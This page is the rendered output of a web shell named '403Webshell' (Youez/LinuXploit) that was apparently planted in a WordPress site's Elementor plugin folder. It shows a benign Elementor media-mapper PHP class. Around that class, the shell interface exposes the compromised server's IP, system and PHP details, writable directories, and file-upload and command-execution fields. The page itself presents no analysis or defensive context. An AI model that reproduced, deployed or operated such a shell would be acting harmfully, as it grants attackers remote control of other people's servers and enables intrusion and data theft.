403Webshell
Server IP : 62.72.47.131  /  Your IP : 216.73.217.34
Web Server : Apache/2.4.66 (Debian)
System : Linux 975cdb959a49 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64
User :  ( 501)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/elementor/includes/template-library/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins/elementor/includes/template-library/classes/class-media-mapper.php
<?php
namespace Elementor\TemplateLibrary\Classes;

use Elementor\Plugin;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Elementor media mapper.
 *
 * Maps media URLs to their corresponding filenames.
 */
class Media_Mapper {

	const TRANSIENT_KEY = 'elementor_media_mapping';

	public static function set_mapping( $mapping, $media_dir = '' ) {
		$mapping = is_array( $mapping ) ? $mapping : [];

		if ( ! empty( $mapping ) ) {
			set_transient( self::TRANSIENT_KEY, [
				'mapping' => $mapping,
				'media_dir' => $media_dir,
			], HOUR_IN_SECONDS );
		}
	}

	public static function get_local_file_path( $original_url ) {
		$stored_mapping = get_transient( self::TRANSIENT_KEY );

		if ( ! $stored_mapping || ! is_array( $stored_mapping ) || empty( $original_url ) ) {
			return $original_url;
		}

		$mapping = $stored_mapping['mapping'] ?? [];
		$media_dir = $stored_mapping['media_dir'] ?? '';

		if ( empty( $mapping ) ) {
			return $original_url;
		}

		$filename = $mapping[ $original_url ] ?? null;
		if ( $filename && $media_dir ) {
			$file_path = $media_dir . '/' . $filename;
			if ( file_exists( $file_path ) ) {
				return $file_path;
			}
		}

		return $original_url;
	}

	public static function clear_mapping() {
		$stored_mapping = get_transient( self::TRANSIENT_KEY );

		if ( $stored_mapping && is_array( $stored_mapping ) ) {
			$media_dir = $stored_mapping['media_dir'] ?? '';
			if ( $media_dir ) {
				Plugin::$instance->uploads_manager->remove_file_or_dir( $media_dir );
			}
		}

		delete_transient( self::TRANSIENT_KEY );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit